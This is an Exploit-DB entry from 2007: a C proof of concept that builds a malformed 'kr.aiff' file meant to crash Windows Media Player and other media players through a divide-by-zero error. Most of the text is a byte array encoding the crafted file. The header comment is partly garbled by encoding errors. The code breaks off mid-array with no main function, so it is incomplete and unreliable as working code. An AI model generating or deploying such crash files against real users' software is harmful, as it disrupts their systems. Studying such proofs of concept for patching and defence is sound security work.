Exploit-DB #4682
Description: Microsoft Windows Media Player - '.AIFF' Divide By Zero Exception Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2007-11-29
Author: Gil-Dong / Woo-Chi

Exploit:
ï»¿/* 
 * Windows Media Player AIFF Divide By Zero Exception DOS POC
 * by Hong Gil-Dong, Jeon Woo-chi 

 * Jeong Ji-Sang (?âˆ¼1135), He was one of the most famous korean 
 * poet. This poem says sadness about good-bye'.

 * é€äºº

 * é›¨æ­‡é•·å ¤è‰è‰²å¤š
 * é€å›å—æµ¦å‹•æ‚²æ­Œ
 * å¤§åŒæ±Ÿæ°´ä½•æ™‚ç›¡
 * åˆ¥æ·šå¹´å¹´æ·»ç¶ æ³¢

 * If you open the kr.aiff in Window Media Player(WMP), WMP will
 * crash, and this crash will ocurr in other media players as well
 * as WMP.
 */


#include<stdio.h>

#define AIFF_FILE "kr.aiff"

void usage(void);

unsigned char aiff[] = {
	0x46,0x4F,0x52,0x4D,0x00,0x00,0x18,0x2E,0x41,0x49,0x46,0x46,
	0x43,0x4F,0x4D,0x4D,0x00,0x00,0x00,0x12,0x00,0x00,0x00,0x00,
	0x0B,0xF2,0x00,0x10,0x00,0x0B,0xFA,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x49,0x4E,0x53,0x54,0x00,0x00,0x00,0x14,0x40,0x00,
	0x00,0x7F,0x01,0x7F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x53,0x4E,0x44,0x00,0x00,
	0x17,0xEC,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFB,
	0x00,0x03,0xFF,0xF7,0x00,0x04,0xFF,0xF2,0xFF,0xE0,0xFF,0x8E,
	0xFF,0x17,0xFE,0x3B,0xFD,0x91,0xFC,0xF7,0xFD,0x09,0xFC,0xD3,
	0xFD,0x02,0xFD,0x06,0xFE,0xB4,0x01,0x49,0x04,0x2F,0x05,0x8C,
	0x05,0xBC,0x05,0x16,0x03,0xF0,0x07,0x8F,0x0C,0xF3,0x10,0x02,
	0x0F,0x35,0x0D,0x45,0x0D,0x9F,0x14,0x8D,0x1A,0xB1,0x16,0xAA,
	0x04,0xF2,0xF3,0x39,0xEA,0x94,0xE6,0xB4,0xD8,0x2B,0xC8,0x2C,
	0xC1,0xBE,0xC2,0x77,0xCA,0x30,0xDD,0x4F,0x00,0x06,0x1F,0x45,
	0x28,0xB2,0x27,0xEB,0x31,0x17,0x45,0x79,0x4B,0x3B,0x34,0x65,
	0x1A,0xDC,0x15,0x4E,0x11,0xE3,0x01,0x30,0xF2,0xA7,0xF4,0x56,
	0xFA,0x74,0xF4,0xF0,0xE8,0xD3,0xEC,0xA6,0xFB,0x8C,0xF4,0x53,
	0xDD,0x70,0xCC,0xA6,0xD0,0xAB,0xD3,0x03,0xC1,0x40,0xB6,0xE7,
	0xC8,0x45,0xEB,0xFD,0x04,0x71,0x16,0xB6,0x2F,0xEE,0x4F,0xE2,
	0x5C,0x64,0x55,0x34,0x55,0x3C,0x5B,0x81,0x56,0xB7,0x36,0xD1,
	0x0C,0x7C,0xEE,0xAD,0xE0,0x2C,0xCA,0x3C,0xAF,0xE9,0xA0,0x5C,
	0x9F,0x93,0xAD,0x2E,0xBB,0x4A,0xD6,0x73,0xFA,0xF1,0x14,0x0C,
	0x14,0xEB,0x12,0x39,0x21,0x7E,0x36,0x47,0x39,0xF2,0x24,0x13,
	0x12,0x40,0x14,0xB4,0x1F,0xE9,0x24,0x92,0x26,0x93,0x26,0xE3,
	0x23,0x22,0x1B,0x8B,0x0D,0x7A,0x09,0x9F,0xFC,0x3C,0xDB,0x26,
	0xB5,0x89,0xA3,0x96,0xA9,0x08,0xB3,0x3F,0xB1,0xA9,0xAC,0x9E,
	0xC5,0x9C,0xEF,0x83,0x1D,0x1A,0x3C,0x73,0x4E,0x60,0x5D,0x30,
	0x63,0x25,0x60,0x4C,0x59,0x19,0x4B,0xD2,0x25,0x08,0xF2,0x3D,
	0xC5,0xF1,0xB6,0x47,0xBC,0x1C,0xB4,0xCE,0xA2,0xA5,0x9D,0x42,
	0xB6,0x7D,0xDE,0x66,0x02,0x7A,0x17,0x6A,0x27,0x0F,0x33,0x84,
	0x37,0x52,0x3E,0xFA,0x44,0xD4,0x3F,0x9F,0x26,0xE6,0x06,0xEB,
	0xF9,0x76,0x02,0xA4,0x06,0x2E,0xF6,0xD0,0xE2,0x44,0xDB,0xA6,
	0xE9,0xE9,0xF7,0x9A,0xF9,0xE3,0xEF,0xEC,0xE2,0xF3,0xD7,0xAC,
	0xD9,0x2C,0xE3,0x19,0xE8,0xFF,0xE8,0xED,0xDE,0x32,0xE3,0x18,
	0x00,0x08,0x23,0xC2,0x38,0x83,0x36,0xCA,0x34,0x9F,0x3F,0xC6,
	0x4F,0xD6,0x4B,0x37,0x32,0xE9,0x11,0x98,0xF2,0x72,0xDF,0xBB,
	0xD0,0xC6,0xC4,0xE8,0xB7,0xE3,0xAA,0x6E,0xA9,0x15,0xBE,0xC8,
	0xE2,0x04,0xFD,0xF2,0x06,0x69,0x05,0xAE,0x14,0xC2,0x2F,0x36,
	0x40,0x29,0x3A,0xA2,0x26,0x4F,0x15,0xAA,0x13,0x3A,0x15,0x13,
	0x13,0x7C,0x0D,0xD9,0xFE,0x2D,0xF2,0x30,0xF2,0xA1,0x00,0xEB,
	0x0D,0x35,0x03,0x0B,0xE8,0x65,0xD8,0x7B,0xE0,0x97,0xEC,0x75,
	0xEB,0x69,0xD8,0xDE,0xCC,0x7D,0xD5,0xDB,0xEB,0x90,0x03,0x7D,
	0x12,0xD4,0x19,0x69,0x1C,0xFE,0x27,0xF5,0x3B,0x3B,0x4F,0x89,
	0x4F,0x24,0x33,0x82,0x14,0xD2,0x05,0x3F,0x03,0x65,0xF8,0x58,
	0xD8,0x1D,0xB4,0xBB,0xA7,0x16,0xAE,0xB0,0xC0,0xC7,0xD1,0xB7,
	0xDC,0x1E,0xE7,0xE8,0xF7,0xF8,0x12,0xEF,0x34,0x62,0x4A,0x00,
	0x45,0x37,0x32,0x09,0x26,0xCD,0x2A,0x81,0x2E,0xFC,0x1B,0x68,
	0xFA,0xCE,0xE2,0xD7,0xDE,0x2B,0xE6,0x8D,0xEB,0x89,0xE8,0xA9,
	0xE1,0xAA,0xDE,0x3E,0xE2,0x50,0xF3,0x25,0x02,0x6C,0x00,0xDD,
	0xF1,0xA2,0xE4,0xFD,0xEE,0xF4,0x05,0x77,0x10,0x23,0x09,0x04,
	0x01,0xE6,0x09,0xD4,0x1F,0xFF,0x33,0x2C,0x37,0x0E,0x30,0x37,
	0x22,0x7D,0x16,0x19,0x10,0xA8,0x0C,0xC4,0xFD,0x79,0xDF,0x69,
	0xBE,0x43,0xB1,0xB5,0xBD,0xF2,0xCB,0x94,0xCE,0x54,0xCB,0x8E,
	0xD7,0x56,0xF7,0x3A,0x1B,0xDF,0x34,0x98,0x3F,0x17,0x40,0x49,
	0x3C,0xD7,0x3D,0xC3,0x3D,0xD3,0x36,0x6A,0x1E,0x15,0xF8,0x91,
	0xDD,0xC5,0xD8,0xE5,0xDE,0xA0,0xDA,0xAB,0xCB,0xEA,0xC2,0x4A,
	0xCE,0x56,0xE7,0x0F,0xFA,0x66,0x03,0x50,0x02,0xB9,0x02,0x23,
	0x07,0x28,0x11,0xB3,0x1C,0x3E,0x1C,0xA2,0x0E,0x36,0x01,0x25,
	0x05,0xDC,0x17,0x6A,0x23,0xCA,0x1C,0x5C,0x0C,0x99,0x07,0xDE,
	0x0F,0x79,0x14,0x06,0x0C,0x02,0xF7,0xCA,0xE1,0x8A,0xD3,0x80,
	0xCD,0xDA,0xD1,0xD3,0xD5,0x15,0xD0,0x78,0xCB,0xE6,0xD6,0xE7,
	0xF5,0xF7,0x19,0x01,0x2C,0x43,0x2D,0x8F,0x31,0x7D,0x3E,0x5E,
	0x4B,0x4F,0x4A,0x55,0x35,0xEA,0x19,0xBD,0xFF,0x31,0xEB,0xAB,
	0xE0,0x2F,0xD8,0x38,0xCA,0x6D,0xBA,0x06,0xB4,0x05,0xC2,0x9E,
	0xE0,0x92,0xF6,0xA4,0xFC,0x6A,0xFE,0xE8,0x0C,0x36,0x22,0x14,
	0x31,0xF6,0x30,0x78,0x24,0x35,0x18,0x26,0x10,0x85,0x10,0x75,
	0x12,0x3A,0x0E,0x36,0x01,0x4C,0xF3,0x6E,0xF1,0x71,0xFE,0x3A,
	0x08,0x66,0x00,0x7F,0xEE,0xC5,0xE2,0x74,0xE5,0x9E,0xEC,0xE6,
	0xEA,0x80,0xE0,0x6B,0xD8,0x5F,0xDA,0x4E,0xE7,0x77,0xFC,0x5D,
	0x0E,0xF7,0x1A,0x63,0x1E,0x05,0x24,0xAB,0x36,0xA1,0x47,0x23,
	0x46,0x2E,0x30,0x7B,0x15,0x95,0x05,0x36,0xFD,0x49,0xEF,0x22,
	0xD7,0xF1,0xC0,0xBE,0xB3,0x4F,0xB5,0xAA,0xC3,0x63,0xD6,0x11,
	0xE6,0xB1,0xF1,0x67,0xFC,0xAA,0x12,0xF6,0x2F,0x0B,0x40,0xE5,
	0x3E,0x6C,0x2E,0x44,0x24,0x3D,0x23,0xD5,0x21,0x55,0x13,0x32,
	0xFD,0x58,0xEA,0xBE,0xE3,0x44,0xE5,0x6A,0xEA,0x89,0xEE,0x94,
	0xEA,0xC1,0xE4,0x55,0xE5,0xDF,0xF1,0xE1,0xFF,0x18,0xFE,0xD1,
	0xF2,0x13,0xE9,0x5E,0xF0,0xBB,0xFF,0x87,0x09,0x53,0x09,0xAF,
	0x08,0x71,0x0F,0x95,0x1C,0xD5,0x2B,0x14,0x33,0xA1,0x30,0x7D,
	0x22,0xAD,0x13,0xBB,0x0B,0x05,0x06,0x7A,0xF9,0xC2,0xDE,0xED,
	0xC4,0x7E,0xBA,0x08,0xC0,0xAF,0xCC,0x02,0xD2,0x20,0xD6,0xB0,
	0xE4,0x45,0xFB,0xB2,0x17,0x19,0x2F,0xC7,0x3D,0x1F,0x3E,0x9E,
	0x38,0xB0,0x33,0xF6,0x33,0x54,0x2D,0x16,0x17,0x59,0xF8,0x90,
	0xE2,0x27,0xDB,0x68,0xDD,0xFD,0xDB,0x73,0xD3,0x7F,0xD0,0xA7,
	0xD7,0xE4,0xE7,0xA2,0xF8,0x47,0x03,0x63,0x06,0x42,0x04,0x28,
	0x03,0xB9,0x0B,0xB3,0x16,0x74,0x17,0x3C,0x0D,0x5A,0x03,0xD0,
	0x07,0x48,0x15,0x05,0x1D,0xF2,0x1A,0xA0,0x